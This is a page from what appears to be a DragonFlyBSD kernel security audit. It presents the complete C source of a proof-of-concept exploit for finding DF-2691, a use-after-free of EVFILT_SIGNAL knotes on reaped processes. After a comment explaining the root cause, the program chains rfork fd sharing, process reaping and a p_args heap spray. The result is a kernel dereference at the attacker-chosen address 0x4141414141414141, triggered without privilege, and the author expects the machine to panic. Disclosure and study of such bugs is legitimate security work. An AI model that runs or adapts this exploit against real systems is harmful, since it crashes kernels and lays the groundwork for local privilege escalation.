DragonFlyBSD Kernel Audit
DF-2691 / kqsig_uaf.c
← back to finding ↓ download raw
/*
 * DF-2691 - EVFILT_SIGNAL knote use-after-free on reaped target process
 *
 * DragonFlyBSD sys/kern/kern_sig.c:
 *   filt_sigattach()  attaches the knote to *curproc*'s p_klist without
 *                     taking a process reference (kern_sig.c:2667-2679).
 *   filt_signal()     ignores the NOTE_EXIT hint, so exit1()'s
 *                     KNOTE(&p->p_klist, NOTE_EXIT) never detaches signal
 *                     knotes (unlike EVFILT_PROC's filt_proc which detaches
 *                     itself on NOTE_EXIT - kern_event.c:382-391).
 *   filt_sigdetach()  unconditionally does
 *                     knote_remove(&kn->kn_ptr.p_proc->p_klist, kn)
 *                     (kern_sig.c:2681-2687) with no KN_DETACHED guard and
 *                     no lifetime protection on the proc.
 *
 * Reaching a knote that outlives its target process:
 *   fork()/vfork() strip kqueue fds from the child (fdcopy, kern_descrip.c:
 *   2574) and SCM_RIGHTS refuses them (uipc_usrreq.c:1799), so normally a
 *   kqueue and its sig-knotes die with their owner.  BUT rfork(RFPROC)
 *   without RFFDG *shares* the fd table (fdshare, kern_fork.c:558).  The
 *   fd-shared child can use the parent's kqueue; filt_sigattach() then
 *   attaches the knote to the CHILD's own p_klist.  When that child exits
 *   and is reaped, kern_wait() kfrees its struct proc (kern_exit.c:1336)
 *   with the knote still linked.  Destroying the kqueue later runs
 *   knote_remove() -> SLIST_REMOVE() on the freed chunk:
 *     - un-recycled: silent write of NULL into freed kernel memory
 *     - recycled: SLIST_FIRST() is recycled content; the walk dereferences
 *       it -> page fault at a controlled address.
 *
 * This PoC sprays exec'd /bin/sleep children whose padded argv makes
 * p_args = kmalloc(sizeof(struct pargs)+argvlen, M_PARGS) land in the same
 * slab zone class as struct proc (1208 bytes -> 1280-byte chunks) with
 * 'AAAAAAAA' exactly at offsetof(struct proc, p_klist) == 496, so the
 * faulting address is the user-chosen value 0x4141414141414141.
 * (kern.ps_arg_cache_limit must be raised above 1259 for the cache to keep
 *  the big argv; default is 256.  The bug trigger itself is unprivileged.)
 *
 * Build:  cc -O2 -o kqsig_uaf kqsig_uaf.c
 * Run:    ./kqsig_uaf
 * Expect: kernel page fault, faulting address 0x4141414141414141 (+24)
 *         -> guest panics.
 */
#include <sys/types.h>
#include <sys/event.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>

/* RFPROC comes from <sys/unistd.h> via <unistd.h> on DragonFly */

#define NSIGK	64		/* dangling knotes per run */
#define NSPRAY	400		/* p_args spray children */

static char padbuf[2048];
static int gate[2];

int
main(int argc, char **argv)
{
	struct kevent kev;
	pid_t child;
	int kq, j, i, status;
	char *av[5];
	char go = 1;

	kq = kqueue();
	if (kq < 0) {
		perror("kqueue");
		exit(1);
	}
	if (pipe(gate) < 0) {
		perror("pipe");
		exit(1);
	}

	/*
	 * Phase 0: pre-fork the spray children.  They allocate their struct
	 * procs NOW (before the victim chunks are freed) and block on the
	 * gate pipe, so their later p_args kmallocs - not their forks - get
	 * to recycle the freed victim chunks.
	 */
	for (i = 0; i < NSPRAY; i++) {
		child = fork();
		if (child == 0) {
			char b;

			close(kq);
			if (read(gate[0], &b, 1) < 0)
				_exit(9);
			/* released below */
			av[0] = "sleep";
			av[1] = "600";
			av[2] = padbuf;
			av[3] = NULL;
			{
				char *ev[1];

				ev[0] = NULL;
				execve("/bin/sleep", av, ev);
			}
			_exit(9);
		}
	}

	/*
	 * Phase 1: rfork(RFPROC) children share our fd table, so they can
	 * register EVFILT_SIGNAL knotes on OUR kqueue.  filt_sigattach()
	 * attaches each knote to the CHILD's p_klist.  The child exits and
	 * is reaped, freeing its struct proc with the knote still linked.
	 */
	for (j = 0; j < NSIGK; j++) {
		child = rfork(RFPROC);
		if (child < 0) {
			perror("rfork");
			exit(1);
		}
		if (child == 0) {
			EV_SET(&kev, j + 1, EVFILT_SIGNAL, EV_ADD, 0, 0, NULL);
			if (kevent(kq, &kev, 1, NULL, 0, NULL) < 0) {
				char msg[64];
				int len = snprintf(msg, sizeof(msg),
				    "kevent fail j=%d errno=%d\n", j, errno);
				write(2, msg, len);
				_exit(8);
			}
			_exit(0);
		}
		if (waitpid(child, &status, 0) != child) {
			perror("waitpid");
			exit(1);
		}
		if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
			fprintf(stderr, "child kevent failed: %d\n", status);
			exit(1);
		}
	}
	printf("[%d dangling sig-knotes attached to freed procs]\n", NSIGK);
	fflush(stdout);

	/*
	 * Phase 2: release the pre-forked spray children.  Each exec's
	 * p_args = kmalloc(8 + argvbytes) is a 1280-class chunk like
	 * struct proc (1208) and holds our argv bytes; 'AAAAAAAA' is at
	 * ar_args offset 488, i.e. p_args offset 496, which is exactly
	 * offsetof(struct proc, p_klist).
	 */
	memset(padbuf, 'B', sizeof(padbuf));
	memcpy(padbuf + 488 - 10, "AAAAAAAA", 8); /* after "sleep\0" "300\0" */
	padbuf[1240] = 0;

	for (i = 0; i < NSPRAY; i++)
		write(gate[1], &go, 1);
	printf("[%d p_args spray children released, argv=%d bytes]\n",
	    NSPRAY, (int)(10 + strlen(padbuf) + 1));
	fflush(stdout);
	sleep(3);

	/*
	 * Phase 3: destroy the kqueue -> drain -> filt_sigdetach for each
	 * dangling knote -> knote_remove(&<freed proc>->p_klist, kn).
	 * If any freed chunk was recycled by a p_args spray, SLIST_FIRST
	 * reads 0x4141414141414141 and the SLIST_REMOVE walk dereferences
	 * it: page fault at 0x4141414141414141+24.
	 */
	printf("closing kqueue...\n");
	fflush(stdout);
	close(kq);
	printf("SURVIVED: no panic this run (re-run)\n");
	fflush(stdout);
	_exit(0);
}